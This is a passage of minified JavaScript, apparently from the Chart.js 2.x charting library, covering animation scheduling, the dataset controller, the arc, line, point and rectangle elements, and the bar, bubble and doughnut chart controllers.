this}}),Object.defineProperty(G.prototype,"chartInstance",{get:function(){return this.chart},set:function(e){this.chart=e}}),I._set("global",{animation:{duration:1e3,easing:"easeOutQuart",onProgress:B.noop,onComplete:B.noop}});var X={animations:[],request:null,addAnimation:function(e,t,n,r){var i,a,o=this.animations;for(t.chart=e,t.startTime=Date.now(),t.duration=n,r||(e.animating=!0),i=0,a=o.length;i<a;++i)if(o[i].chart===e)return void(o[i]=t);o.push(t),1===o.length&&this.requestAnimationFrame()},cancelAnimation:function(e){var t=B.findIndex(this.animations,(function(t){return t.chart===e}));-1!==t&&(this.animations.splice(t,1),e.animating=!1)},requestAnimationFrame:function(){var e=this;null===e.request&&(e.request=B.requestAnimFrame.call(window,(function(){e.request=null,e.startDigest()})))},startDigest:function(){this.advance(),this.animations.length>0&&this.requestAnimationFrame()},advance:function(){for(var e,t,n,r,i=this.animations,a=0;a<i.length;)t=(e=i[a]).chart,n=e.numSteps,r=Math.floor((Date.now()-e.startTime)/e.duration*n)+1,e.currentStep=Math.min(r,n),B.callback(e.render,[t,e],t),B.callback(e.onAnimationProgress,[e],t),e.currentStep>=n?(B.callback(e.onAnimationComplete,[e],t),t.animating=!1,i.splice(a,1)):++a}},K=B.options.resolve,Q=["push","pop","shift","splice","unshift"];function J(e,t){var n=e._chartjs;if(n){var r=n.listeners,i=r.indexOf(t);-1!==i&&r.splice(i,1),r.length>0||(Q.forEach((function(t){delete e[t]})),delete e._chartjs)}}var ee=function(e,t){this.initialize(e,t)};B.extend(ee.prototype,{datasetElementType:null,dataElementType:null,_datasetElementOptions:["backgroundColor","borderCapStyle","borderColor","borderDash","borderDashOffset","borderJoinStyle","borderWidth"],_dataElementOptions:["backgroundColor","borderColor","borderWidth","pointStyle"],initialize:function(e,t){var n=this;n.chart=e,n.index=t,n.linkScales(),n.addElements(),n._type=n.getMeta().type},updateIndex:function(e){this.index=e},linkScales:function(){var e=this.getMeta(),t=this.chart,n=t.scales,r=this.getDataset(),i=t.options.scales;null!==e.xAxisID&&e.xAxisID in n&&!r.xAxisID||(e.xAxisID=r.xAxisID||i.xAxes[0].id),null!==e.yAxisID&&e.yAxisID in n&&!r.yAxisID||(e.yAxisID=r.yAxisID||i.yAxes[0].id)},getDataset:function(){return this.chart.data.datasets[this.index]},getMeta:function(){return this.chart.getDatasetMeta(this.index)},getScaleForId:function(e){return this.chart.scales[e]},_getValueScaleId:function(){return this.getMeta().yAxisID},_getIndexScaleId:function(){return this.getMeta().xAxisID},_getValueScale:function(){return this.getScaleForId(this._getValueScaleId())},_getIndexScale:function(){return this.getScaleForId(this._getIndexScaleId())},reset:function(){this._update(!0)},destroy:function(){this._data&&J(this._data,this)},createMetaDataset:function(){var e=this.datasetElementType;return e&&new e({_chart:this.chart,_datasetIndex:this.index})},createMetaData:function(e){var t=this.dataElementType;return t&&new t({_chart:this.chart,_datasetIndex:this.index,_index:e})},addElements:function(){var e,t,n=this.getMeta(),r=this.getDataset().data||[],i=n.data;for(e=0,t=r.length;e<t;++e)i[e]=i[e]||this.createMetaData(e);n.dataset=n.dataset||this.createMetaDataset()},addElementAndReset:function(e){var t=this.createMetaData(e);this.getMeta().data.splice(e,0,t),this.updateElement(t,e,!0)},buildOrUpdateElements:function(){var e,t,n=this,r=n.getDataset(),i=r.data||(r.data=[]);n._data!==i&&(n._data&&J(n._data,n),i&&Object.isExtensible(i)&&(t=n,(e=i)._chartjs?e._chartjs.listeners.push(t):(Object.defineProperty(e,"_chartjs",{configurable:!0,enumerable:!1,value:{listeners:[t]}}),Q.forEach((function(t){var n="onData"+t.charAt(0).toUpperCase()+t.slice(1),r=e[t];Object.defineProperty(e,t,{configurable:!0,enumerable:!1,value:function(){var t=Array.prototype.slice.call(arguments),i=r.apply(this,t);return B.each(e._chartjs.listeners,(function(e){"function"===typeof e[n]&&e[n].apply(e,t)})),i}})})))),n._data=i),n.resyncElements()},_configure:function(){this._config=B.merge({},[this.chart.options.datasets[this._type],this.getDataset()],{merger:function(e,t,n){"_meta"!==e&&"data"!==e&&B._merger(e,t,n)}})},_update:function(e){this._configure(),this._cachedDataOpts=null,this.update(e)},update:B.noop,transition:function(e){for(var t=this.getMeta(),n=t.data||[],r=n.length,i=0;i<r;++i)n[i].transition(e);t.dataset&&t.dataset.transition(e)},draw:function(){var e=this.getMeta(),t=e.data||[],n=t.length,r=0;for(e.dataset&&e.dataset.draw();r<n;++r)t[r].draw()},getStyle:function(e){var t,n=this.getMeta(),r=n.dataset;return this._configure(),r&&void 0===e?t=this._resolveDatasetElementOptions(r||{}):(e=e||0,t=this._resolveDataElementOptions(n.data[e]||{},e)),!1!==t.fill&&null!==t.fill||(t.backgroundColor=t.borderColor),t},_resolveDatasetElementOptions:function(e,t){var n,r,i,a,o=this,s=o.chart,l=o._config,u=e.custom||{},c=s.options.elements[o.datasetElementType.prototype._type]||{},f=o._datasetElementOptions,h={},d={chart:s,dataset:o.getDataset(),datasetIndex:o.index,hover:t};for(n=0,r=f.length;n<r;++n)i=f[n],a=t?"hover"+i.charAt(0).toUpperCase()+i.slice(1):i,h[i]=K([u[a],l[a],c[a]],d);return h},_resolveDataElementOptions:function(e,t){var n=this,r=e&&e.custom,i=n._cachedDataOpts;if(i&&!r)return i;var a,o,s,l,u=n.chart,c=n._config,f=u.options.elements[n.dataElementType.prototype._type]||{},h=n._dataElementOptions,d={},p={chart:u,dataIndex:t,dataset:n.getDataset(),datasetIndex:n.index},m={cacheable:!r};if(r=r||{},B.isArray(h))for(o=0,s=h.length;o<s;++o)d[l=h[o]]=K([r[l],c[l],f[l]],p,t,m);else for(o=0,s=(a=Object.keys(h)).length;o<s;++o)d[l=a[o]]=K([r[l],c[h[l]],c[l],f[l]],p,t,m);return m.cacheable&&(n._cachedDataOpts=Object.freeze(d)),d},removeHoverStyle:function(e){B.merge(e._model,e.$previousStyle||{}),delete e.$previousStyle},setHoverStyle:function(e){var t=this.chart.data.datasets[e._datasetIndex],n=e._index,r=e.custom||{},i=e._model,a=B.getHoverColor;e.$previousStyle={backgroundColor:i.backgroundColor,borderColor:i.borderColor,borderWidth:i.borderWidth},i.backgroundColor=K([r.hoverBackgroundColor,t.hoverBackgroundColor,a(i.backgroundColor)],void 0,n),i.borderColor=K([r.hoverBorderColor,t.hoverBorderColor,a(i.borderColor)],void 0,n),i.borderWidth=K([r.hoverBorderWidth,t.hoverBorderWidth,i.borderWidth],void 0,n)},_removeDatasetHoverStyle:function(){var e=this.getMeta().dataset;e&&this.removeHoverStyle(e)},_setDatasetHoverStyle:function(){var e,t,n,r,i,a,o=this.getMeta().dataset,s={};if(o){for(a=o._model,i=this._resolveDatasetElementOptions(o,!0),e=0,t=(r=Object.keys(i)).length;e<t;++e)s[n=r[e]]=a[n],a[n]=i[n];o.$previousStyle=s}},resyncElements:function(){var e=this.getMeta(),t=this.getDataset().data,n=e.data.length,r=t.length;r<n?e.data.splice(r,n-r):r>n&&this.insertElements(n,r-n)},insertElements:function(e,t){for(var n=0;n<t;++n)this.addElementAndReset(e+n)},onDataPush:function(){var e=arguments.length;this.insertElements(this.getDataset().data.length-e,e)},onDataPop:function(){this.getMeta().data.pop()},onDataShift:function(){this.getMeta().data.shift()},onDataSplice:function(e,t){this.getMeta().data.splice(e,t),this.insertElements(e,arguments.length-2)},onDataUnshift:function(){this.insertElements(0,arguments.length)}}),ee.extend=B.inherits;var te=ee,ne=2*Math.PI;function re(e,t){var n=t.startAngle,r=t.endAngle,i=t.pixelMargin,a=i/t.outerRadius,o=t.x,s=t.y;e.beginPath(),e.arc(o,s,t.outerRadius,n-a,r+a),t.innerRadius>i?(a=i/t.innerRadius,e.arc(o,s,t.innerRadius-i,r+a,n-a,!0)):e.arc(o,s,i,r+Math.PI/2,n-Math.PI/2),e.closePath(),e.clip()}function ie(e,t,n){var r="inner"===t.borderAlign;r?(e.lineWidth=2*t.borderWidth,e.lineJoin="round"):(e.lineWidth=t.borderWidth,e.lineJoin="bevel"),n.fullCircles&&function(e,t,n,r){var i,a=n.endAngle;for(r&&(n.endAngle=n.startAngle+ne,re(e,n),n.endAngle=a,n.endAngle===n.startAngle&&n.fullCircles&&(n.endAngle+=ne,n.fullCircles--)),e.beginPath(),e.arc(n.x,n.y,n.innerRadius,n.startAngle+ne,n.startAngle,!0),i=0;i<n.fullCircles;++i)e.stroke();for(e.beginPath(),e.arc(n.x,n.y,t.outerRadius,n.startAngle,n.startAngle+ne),i=0;i<n.fullCircles;++i)e.stroke()}(e,t,n,r),r&&re(e,n),e.beginPath(),e.arc(n.x,n.y,t.outerRadius,n.startAngle,n.endAngle),e.arc(n.x,n.y,n.innerRadius,n.endAngle,n.startAngle,!0),e.closePath(),e.stroke()}I._set("global",{elements:{arc:{backgroundColor:I.global.defaultColor,borderColor:"#fff",borderWidth:2,borderAlign:"center"}}});var ae=$.extend({_type:"arc",inLabelRange:function(e){var t=this._view;return!!t&&Math.pow(e-t.x,2)<Math.pow(t.radius+t.hoverRadius,2)},inRange:function(e,t){var n=this._view;if(n){for(var r=B.getAngleFromPoint(n,{x:e,y:t}),i=r.angle,a=r.distance,o=n.startAngle,s=n.endAngle;s<o;)s+=ne;for(;i>s;)i-=ne;for(;i<o;)i+=ne;var l=i>=o&&i<=s,u=a>=n.innerRadius&&a<=n.outerRadius;return l&&u}return!1},getCenterPoint:function(){var e=this._view,t=(e.startAngle+e.endAngle)/2,n=(e.innerRadius+e.outerRadius)/2;return{x:e.x+Math.cos(t)*n,y:e.y+Math.sin(t)*n}},getArea:function(){var e=this._view;return Math.PI*((e.endAngle-e.startAngle)/(2*Math.PI))*(Math.pow(e.outerRadius,2)-Math.pow(e.innerRadius,2))},tooltipPosition:function(){var e=this._view,t=e.startAngle+(e.endAngle-e.startAngle)/2,n=(e.outerRadius-e.innerRadius)/2+e.innerRadius;return{x:e.x+Math.cos(t)*n,y:e.y+Math.sin(t)*n}},draw:function(){var e,t=this._chart.ctx,n=this._view,r="inner"===n.borderAlign?.33:0,i={x:n.x,y:n.y,innerRadius:n.innerRadius,outerRadius:Math.max(n.outerRadius-r,0),pixelMargin:r,startAngle:n.startAngle,endAngle:n.endAngle,fullCircles:Math.floor(n.circumference/ne)};if(t.save(),t.fillStyle=n.backgroundColor,t.strokeStyle=n.borderColor,i.fullCircles){for(i.endAngle=i.startAngle+ne,t.beginPath(),t.arc(i.x,i.y,i.outerRadius,i.startAngle,i.endAngle),t.arc(i.x,i.y,i.innerRadius,i.endAngle,i.startAngle,!0),t.closePath(),e=0;e<i.fullCircles;++e)t.fill();i.endAngle=i.startAngle+n.circumference%ne}t.beginPath(),t.arc(i.x,i.y,i.outerRadius,i.startAngle,i.endAngle),t.arc(i.x,i.y,i.innerRadius,i.endAngle,i.startAngle,!0),t.closePath(),t.fill(),n.borderWidth&&ie(t,n,i),t.restore()}}),oe=B.valueOrDefault,se=I.global.defaultColor;I._set("global",{elements:{line:{tension:.4,backgroundColor:se,borderWidth:3,borderColor:se,borderCapStyle:"butt",borderDash:[],borderDashOffset:0,borderJoinStyle:"miter",capBezierPoints:!0,fill:!0}}});var le=$.extend({_type:"line",draw:function(){var e,t,n,r=this,i=r._view,a=r._chart.ctx,o=i.spanGaps,s=r._children.slice(),l=I.global,u=l.elements.line,c=-1,f=r._loop;if(s.length){if(r._loop){for(e=0;e<s.length;++e)if(t=B.previousItem(s,e),!s[e]._view.skip&&t._view.skip){s=s.slice(e).concat(s.slice(0,e)),f=o;break}f&&s.push(s[0])}for(a.save(),a.lineCap=i.borderCapStyle||u.borderCapStyle,a.setLineDash&&a.setLineDash(i.borderDash||u.borderDash),a.lineDashOffset=oe(i.borderDashOffset,u.borderDashOffset),a.lineJoin=i.borderJoinStyle||u.borderJoinStyle,a.lineWidth=oe(i.borderWidth,u.borderWidth),a.strokeStyle=i.borderColor||l.defaultColor,a.beginPath(),(n=s[0]._view).skip||(a.moveTo(n.x,n.y),c=0),e=1;e<s.length;++e)n=s[e]._view,t=-1===c?B.previousItem(s,e):s[c],n.skip||(c!==e-1&&!o||-1===c?a.moveTo(n.x,n.y):B.canvas.lineTo(a,t._view,n),c=e);f&&a.closePath(),a.stroke(),a.restore()}}}),ue=B.valueOrDefault,ce=I.global.defaultColor;function fe(e){var t=this._view;return!!t&&Math.abs(e-t.x)<t.radius+t.hitRadius}I._set("global",{elements:{point:{radius:3,pointStyle:"circle",backgroundColor:ce,borderColor:ce,borderWidth:1,hitRadius:1,hoverRadius:4,hoverBorderWidth:1}}});var he=$.extend({_type:"point",inRange:function(e,t){var n=this._view;return!!n&&Math.pow(e-n.x,2)+Math.pow(t-n.y,2)<Math.pow(n.hitRadius+n.radius,2)},inLabelRange:fe,inXRange:fe,inYRange:function(e){var t=this._view;return!!t&&Math.abs(e-t.y)<t.radius+t.hitRadius},getCenterPoint:function(){var e=this._view;return{x:e.x,y:e.y}},getArea:function(){return Math.PI*Math.pow(this._view.radius,2)},tooltipPosition:function(){var e=this._view;return{x:e.x,y:e.y,padding:e.radius+e.borderWidth}},draw:function(e){var t=this._view,n=this._chart.ctx,r=t.pointStyle,i=t.rotation,a=t.radius,o=t.x,s=t.y,l=I.global,u=l.defaultColor;t.skip||(void 0===e||B.canvas._isPointInArea(t,e))&&(n.strokeStyle=t.borderColor||u,n.lineWidth=ue(t.borderWidth,l.elements.point.borderWidth),n.fillStyle=t.backgroundColor||u,B.canvas.drawPoint(n,r,a,o,s,i))}}),de=I.global.defaultColor;function pe(e){return e&&void 0!==e.width}function me(e){var t,n,r,i,a;return pe(e)?(a=e.width/2,t=e.x-a,n=e.x+a,r=Math.min(e.y,e.base),i=Math.max(e.y,e.base)):(a=e.height/2,t=Math.min(e.x,e.base),n=Math.max(e.x,e.base),r=e.y-a,i=e.y+a),{left:t,top:r,right:n,bottom:i}}function ve(e,t,n){return e===t?n:e===n?t:e}function ge(e,t,n){var r,i,a,o,s=e.borderWidth,l=function(e){var t=e.borderSkipped,n={};return t?(e.horizontal?e.base>e.x&&(t=ve(t,"left","right")):e.base<e.y&&(t=ve(t,"bottom","top")),n[t]=!0,n):n}(e);return B.isObject(s)?(r=+s.top||0,i=+s.right||0,a=+s.bottom||0,o=+s.left||0):r=i=a=o=+s||0,{t:l.top||r<0?0:r>n?n:r,r:l.right||i<0?0:i>t?t:i,b:l.bottom||a<0?0:a>n?n:a,l:l.left||o<0?0:o>t?t:o}}function ye(e,t,n){var r=null===t,i=null===n,a=!(!e||r&&i)&&me(e);return a&&(r||t>=a.left&&t<=a.right)&&(i||n>=a.top&&n<=a.bottom)}I._set("global",{elements:{rectangle:{backgroundColor:de,borderColor:de,borderSkipped:"bottom",borderWidth:0}}});var be=$.extend({_type:"rectangle",draw:function(){var e=this._chart.ctx,t=this._view,n=function(e){var t=me(e),n=t.right-t.left,r=t.bottom-t.top,i=ge(e,n/2,r/2);return{outer:{x:t.left,y:t.top,w:n,h:r},inner:{x:t.left+i.l,y:t.top+i.t,w:n-i.l-i.r,h:r-i.t-i.b}}}(t),r=n.outer,i=n.inner;e.fillStyle=t.backgroundColor,e.fillRect(r.x,r.y,r.w,r.h),r.w===i.w&&r.h===i.h||(e.save(),e.beginPath(),e.rect(r.x,r.y,r.w,r.h),e.clip(),e.fillStyle=t.borderColor,e.rect(i.x,i.y,i.w,i.h),e.fill("evenodd"),e.restore())},height:function(){var e=this._view;return e.base-e.y},inRange:function(e,t){return ye(this._view,e,t)},inLabelRange:function(e,t){var n=this._view;return pe(n)?ye(n,e,null):ye(n,null,t)},inXRange:function(e){return ye(this._view,e,null)},inYRange:function(e){return ye(this._view,null,e)},getCenterPoint:function(){var e,t,n=this._view;return pe(n)?(e=n.x,t=(n.y+n.base)/2):(e=(n.x+n.base)/2,t=n.y),{x:e,y:t}},getArea:function(){var e=this._view;return pe(e)?e.width*Math.abs(e.y-e.base):e.height*Math.abs(e.x-e.base)},tooltipPosition:function(){var e=this._view;return{x:e.x,y:e.y}}}),xe={},we=ae,ke=le,_e=he,Me=be;xe.Arc=we,xe.Line=ke,xe.Point=_e,xe.Rectangle=Me;var Se=B._deprecated,Te=B.valueOrDefault;function Oe(e,t,n){var r,i,a=n.barThickness,o=t.stackCount,s=t.pixels[e],l=B.isNullOrUndef(a)?function(e,t){var n,r,i,a,o=e._length;for(i=1,a=t.length;i<a;++i)o=Math.min(o,Math.abs(t[i]-t[i-1]));for(i=0,a=e.getTicks().length;i<a;++i)r=e.getPixelForTick(i),o=i>0?Math.min(o,Math.abs(r-n)):o,n=r;return o}(t.scale,t.pixels):-1;return B.isNullOrUndef(a)?(r=l*n.categoryPercentage,i=n.barPercentage):(r=a*o,i=1),{chunk:r/o,ratio:i,start:s-r/2}}I._set("bar",{hover:{mode:"label"},scales:{xAxes:[{type:"category",offset:!0,gridLines:{offsetGridLines:!0}}],yAxes:[{type:"linear"}]}}),I._set("global",{datasets:{bar:{categoryPercentage:.8,barPercentage:.9}}});var Ee=te.extend({dataElementType:xe.Rectangle,_dataElementOptions:["backgroundColor","borderColor","borderSkipped","borderWidth","barPercentage","barThickness","categoryPercentage","maxBarThickness","minBarLength"],initialize:function(){var e,t,n=this;te.prototype.initialize.apply(n,arguments),(e=n.getMeta()).stack=n.getDataset().stack,e.bar=!0,t=n._getIndexScale().options,Se("bar chart",t.barPercentage,"scales.[x/y]Axes.barPercentage","dataset.barPercentage"),Se("bar chart",t.barThickness,"scales.[x/y]Axes.barThickness","dataset.barThickness"),Se("bar chart",t.categoryPercentage,"scales.[x/y]Axes.categoryPercentage","dataset.categoryPercentage"),Se("bar chart",n._getValueScale().options.minBarLength,"scales.[x/y]Axes.minBarLength","dataset.minBarLength"),Se("bar chart",t.maxBarThickness,"scales.[x/y]Axes.maxBarThickness","dataset.maxBarThickness")},update:function(e){var t,n,r=this.getMeta().data;for(this._ruler=this.getRuler(),t=0,n=r.length;t<n;++t)this.updateElement(r[t],t,e)},updateElement:function(e,t,n){var r=this,i=r.getMeta(),a=r.getDataset(),o=r._resolveDataElementOptions(e,t);e._xScale=r.getScaleForId(i.xAxisID),e._yScale=r.getScaleForId(i.yAxisID),e._datasetIndex=r.index,e._index=t,e._model={backgroundColor:o.backgroundColor,borderColor:o.borderColor,borderSkipped:o.borderSkipped,borderWidth:o.borderWidth,datasetLabel:a.label,label:r.chart.data.labels[t]},B.isArray(a.data[t])&&(e._model.borderSkipped=null),r._updateElementGeometry(e,t,n,o),e.pivot()},_updateElementGeometry:function(e,t,n,r){var i=this,a=e._model,o=i._getValueScale(),s=o.getBasePixel(),l=o.isHorizontal(),u=i._ruler||i.getRuler(),c=i.calculateBarValuePixels(i.index,t,r),f=i.calculateBarIndexPixels(i.index,t,u,r);a.horizontal=l,a.base=n?s:c.base,a.x=l?n?s:c.head:f.center,a.y=l?f.center:n?s:c.head,a.height=l?f.size:void 0,a.width=l?void 0:f.size},_getStacks:function(e){var t,n,r=this._getIndexScale(),i=r._getMatchingVisibleMetas(this._type),a=r.options.stacked,o=i.length,s=[];for(t=0;t<o&&(n=i[t],(!1===a||-1===s.indexOf(n.stack)||void 0===a&&void 0===n.stack)&&s.push(n.stack),n.index!==e);++t);return s},getStackCount:function(){return this._getStacks().length},getStackIndex:function(e,t){var n=this._getStacks(e),r=void 0!==t?n.indexOf(t):-1;return-1===r?n.length-1:r},getRuler:function(){var e,t,n=this._getIndexScale(),r=[];for(e=0,t=this.getMeta().data.length;e<t;++e)r.push(n.getPixelForValue(null,e,this.index));return{pixels:r,start:n._startPixel,end:n._endPixel,stackCount:this.getStackCount(),scale:n}},calculateBarValuePixels:function(e,t,n){var r,i,a,o,s,l,u,c=this.chart,f=this._getValueScale(),h=f.isHorizontal(),d=c.data.datasets,p=f._getMatchingVisibleMetas(this._type),m=f._parseValue(d[e].data[t]),v=n.minBarLength,g=f.options.stacked,y=this.getMeta().stack,b=void 0===m.start?0:m.max>=0&&m.min>=0?m.min:m.max,x=void 0===m.start?m.end:m.max>=0&&m.min>=0?m.max-m.min:m.min-m.max,w=p.length;if(g||void 0===g&&void 0!==y)for(r=0;r<w&&(i=p[r]).index!==e;++r)i.stack===y&&(a=void 0===(u=f._parseValue(d[i.index].data[t])).start?u.end:u.min>=0&&u.max>=0?u.max:u.min,(m.min<0&&a<0||m.max>=0&&a>0)&&(b+=a));return o=f.getPixelForValue(b),l=(s=f.getPixelForValue(b+x))-o,void 0!==v&&Math.abs(l)<v&&(l=v,s=x>=0&&!h||x<0&&h?o-v:o+v),{size:l,base:o,head:s,center:s+l/2}},calculateBarIndexPixels:function(e,t,n,r){var i="flex"===r.barThickness?function(e,t,n){var r,i=t.pixels,a=i[e],o=e>0?i[e-1]:null,s=e<i.length-1?i[e+1]:null,l=n.categoryPercentage;return null===o&&(o=a-(null===s?t.end-t.start:s-a)),null===s&&(s=a+a-o),r=a-(a-Math.min(o,s))/2*l,{chunk:Math.abs(s-o)/2*l/t.stackCount,ratio:n.barPercentage,start:r}}(t,n,r):Oe(t,n,r),a=this.getStackIndex(e,this.getMeta().stack),o=i.start+i.chunk*a+i.chunk/2,s=Math.min(Te(r.maxBarThickness,1/0),i.chunk*i.ratio);return{base:o-s/2,head:o+s/2,center:o,size:s}},draw:function(){var e=this.chart,t=this._getValueScale(),n=this.getMeta().data,r=this.getDataset(),i=n.length,a=0;for(B.canvas.clipArea(e.ctx,e.chartArea);a<i;++a){var o=t._parseValue(r.data[a]);isNaN(o.min)||isNaN(o.max)||n[a].draw()}B.canvas.unclipArea(e.ctx)},_resolveDataElementOptions:function(){var e=this,t=B.extend({},te.prototype._resolveDataElementOptions.apply(e,arguments)),n=e._getIndexScale().options,r=e._getValueScale().options;return t.barPercentage=Te(n.barPercentage,t.barPercentage),t.barThickness=Te(n.barThickness,t.barThickness),t.categoryPercentage=Te(n.categoryPercentage,t.categoryPercentage),t.maxBarThickness=Te(n.maxBarThickness,t.maxBarThickness),t.minBarLength=Te(r.minBarLength,t.minBarLength),t}}),Ce=B.valueOrDefault,Ne=B.options.resolve;I._set("bubble",{hover:{mode:"single"},scales:{xAxes:[{type:"linear",position:"bottom",id:"x-axis-0"}],yAxes:[{type:"linear",position:"left",id:"y-axis-0"}]},tooltips:{callbacks:{title:function(){return""},label:function(e,t){var n=t.datasets[e.datasetIndex].label||"",r=t.datasets[e.datasetIndex].data[e.index];return n+": ("+e.xLabel+", "+e.yLabel+", "+r.r+")"}}}});var Pe=te.extend({dataElementType:xe.Point,_dataElementOptions:["backgroundColor","borderColor","borderWidth","hoverBackgroundColor","hoverBorderColor","hoverBorderWidth","hoverRadius","hitRadius","pointStyle","rotation"],update:function(e){var t=this,n=t.getMeta().data;B.each(n,(function(n,r){t.updateElement(n,r,e)}))},updateElement:function(e,t,n){var r=this,i=r.getMeta(),a=e.custom||{},o=r.getScaleForId(i.xAxisID),s=r.getScaleForId(i.yAxisID),l=r._resolveDataElementOptions(e,t),u=r.getDataset().data[t],c=r.index,f=n?o.getPixelForDecimal(.5):o.getPixelForValue("object"===typeof u?u:NaN,t,c),h=n?s.getBasePixel():s.getPixelForValue(u,t,c);e._xScale=o,e._yScale=s,e._options=l,e._datasetIndex=c,e._index=t,e._model={backgroundColor:l.backgroundColor,borderColor:l.borderColor,borderWidth:l.borderWidth,hitRadius:l.hitRadius,pointStyle:l.pointStyle,rotation:l.rotation,radius:n?0:l.radius,skip:a.skip||isNaN(f)||isNaN(h),x:f,y:h},e.pivot()},setHoverStyle:function(e){var t=e._model,n=e._options,r=B.getHoverColor;e.$previousStyle={backgroundColor:t.backgroundColor,borderColor:t.borderColor,borderWidth:t.borderWidth,radius:t.radius},t.backgroundColor=Ce(n.hoverBackgroundColor,r(n.backgroundColor)),t.borderColor=Ce(n.hoverBorderColor,r(n.borderColor)),t.borderWidth=Ce(n.hoverBorderWidth,n.borderWidth),t.radius=n.radius+n.hoverRadius},_resolveDataElementOptions:function(e,t){var n=this,r=n.chart,i=n.getDataset(),a=e.custom||{},o=i.data[t]||{},s=te.prototype._resolveDataElementOptions.apply(n,arguments),l={chart:r,dataIndex:t,dataset:i,datasetIndex:n.index};return n._cachedDataOpts===s&&(s=B.extend({},s)),s.radius=Ne([a.radius,o.r,n._config.radius,r.options.elements.point.radius],l,t),s}}),Ae=B.valueOrDefault,ze=Math.PI,De=2*ze,Ie=ze/2;I._set("doughnut",{animation:{animateRotate:!0,animateScale:!1},hover:{mode:"single"},legendCallback:function(e){var t,n,r,i=document.createElement("ul"),a=e.data,o=a.datasets,s=a.labels;if(i.setAttribute("class",e.id+"-legend"),o.length)for(t=0,n=o[0].data.length;t<n;++t)(r=i.appendChild(document.createElement("li"))).appendChild(document.createElement("span")).style.backgroundColor=o[0].backgroundColor[t],s[t]&&r.appendChild(document.createTextNode(s[t]));return i.outerHTML},legend:{labels:{generateLabels:function(e){var t=e.data;return t.labels.length&&t.datasets.length?t.labels.map((function(n,r){var i=e.getDatasetMeta(0),a=i.controller.getStyle(r);return{text:n,fillStyle:a.backgroundColor,strokeStyle:a.borderColor,lineWidth:a.borderWidth,hidden:isNaN(t.datasets[0].data[r])||i.data[r].hidden,index:r}})):[]}},onClick:function(e,t){var n,r,i,a=t.index,o=this.chart;for(n=0,r=(o.data.datasets||[]).length;n<r;++n)(i=o.getDatasetMeta(n)).data[a]&&(i.data[a].hidden=!i.data[a].hidden);o.update()}},cutoutPercentage:50,rotation:-Ie,circumference:De,tooltips:{callbacks:{title:function(){return""},label:function(e,t){var n=t.labels[e.index],r=": "+t.datasets[e.datasetIndex].data[e.index];return B.isArray(n)?(n=n.slice())[0]+=r:n+=r,n}}}});var Re=te.extend({dataElementType:xe.Arc,linkScales:B.noop,_dataElementOptions:["backgroundColor","borderColor","borderWidth","borderAlign","hoverBackgroundColor","hoverBorderColor","hoverBorderWidth"],getRingIndex:function(e){for(var t=0,n=0;n<e;++n)this.chart.isDatasetVisible(n)&&++t;return t},update:function(e){var t,n,r,i,a=this,o=a.chart,s=o.chartArea,l=o.options,u=1,c=1,f=0,h=0,d=a.getMeta(),p=d.data,m=l.cutoutPercentage/100||0,v=l.circumference,g=a._getRingWeight(a.index);if(v<De){var y=l.rotation%De,b=(y+=y>=ze?-De:y<-ze?De:0)+v,x=Math.cos(y),w=Math.sin(y),k=Math.cos(b),_=Math.sin(b),M=y<=0&&b>=0||b>=De,S=y<=Ie&&b>=Ie||b>=De+Ie,T=y<=-Ie&&b>=-Ie||b>=ze+Ie,O=y===-ze||b>=ze?-1:Math.min(x,x*m,k,k*m),E=T?-1:Math.min(w,w*m,_,_*m),C=M?1:Math.max(x,x*m,k,k*m),N=S?1:Math.max(w,w*m,_,_*m);u=(C-O)/2,c=(N-E)/2,f=-(C+O)/2,h=-(N+E)/2}for(r=0,i=p.length;r<i;++r)p[r]._options=a._resolveDataElementOptions(p[r],r);for(o.borderWidth=a.getMaxBorderWidth(),t=(s.right-s.left-o.borderWidth)/u,n=(s.bottom-s.top-o.borderWidth)/c,o.outerRadius=Math.max(Math.min(t,n)/2,0),o.innerRadius=Math.max(o.outerRadius*m,0),o.radiusLength=(o.outerRadius-o.innerRadius)/(a._getVisibleDatasetWeightTotal()||1),o.offsetX=f*o.outerRadius,o.offsetY=h*o.outerRadius,d.total=a.calculateTotal(),a.outerRadius=o.outerRadius-o.radiusLength*a._getRingWeightOffset(a.index),a.innerRadius=Math.max(a.outerRadius-o.radiusLength*g,0),r=0,i=p.length;r<i;++r)a.updateElement(p[r],r,e)},updateElement:function(e,t,n){var r=this,i=r.chart,a=i.chartArea,o=i.options,s=o.animation,l=(a.left+a.right)/2,u=(a.top+a.bottom)/2,c=o.rotation,f=o.rotation,h=r.getDataset(),d=n&&s.animateRotate||e.hidden?0:r.calculateCircumference(h.data[t])*(o.circumference/De),p=n&&s.animateScale?0:r.innerRadius,m=n&&s.animateScale?0:r.outerRadius,v=e._options||{};B.extend(e,{_datasetIndex:r.index,_index:t,_model:{backgroundColor:v.backgroundColor,borderColor:v.borderColor,borderWidth:v.borderWidth,borderAlign:v.borderAlign,x:l+i.offsetX,y:u+i.offsetY,startAngle:c,endAngle:f,circumference:d,outerRadius:m,innerRadius:p,label:B.valueAtIndexOrDefault(h.label,t,i.data.labels[t])}});var g=e._model;n&&s.animateRotate||(g.startAngle=0===t?o.rotation:r.getMeta().data[t-1]._model.endAngle,g.endAngle=g.startAngle+g.circumference),e.pivot()},calculateTotal:function(){var e,t=this.getDataset(),n=this.getMeta(),r=0;return B.each(n.data,(function(n,i){e=t.data[i],isNaN(e)||n.hidden||(r+=Math.abs(e))})),r},calculateCircumference:function(e){var t=this.getMeta().total;return t>0&&!isNaN(e)?De*(Math.abs(e)/t):0},getMaxBorderWidth:function(e){var t,n,r,i,a,o,s,l,u=0,c=this.chart;if(!e)for(t=0,n=c.data.datasets.length;t<n;++t)if(c.isDatasetVisible(t)){e=(r=c.getDatasetMeta(t)).data,t!==this.index&&(a=r.controller);break}if(!e)return 0;for(t=0,n=e.length;t<n;++t)i=e[t],a?(a._configure(),o=a._resolveDataElementOptions(i,t)):o=i._options,"inner"!==o.borderAlign&&(s=o.borderWidth,u=(l=o.hoverBorderWidth)>(u=s>u?s:u)?l:u);return u},setHoverStyle:function(e){var t=e._model,n=e._options,r=B.getHoverColor;e.$previousStyle={backgroundColor:t.backgroundColor,borderColor:t.borderColor,borderWidth:t.borderWidth},t.backgroundColor=Ae(n.hoverBackgroundColor,r(n.backgroundColor)),t.borderColor=Ae(n.hoverBorderColor,r(n.borderColor)),t.borderWidth=Ae(n.hoverBorderWidth,n.borderWidth)},_getRingWeightOffset:function(e){for(var t=0,n=0;n<e;++n)this.chart.isDatasetVisible(n)&&(t+=this._getRingWeight(n));return t},_getRingWeight:function(e){return 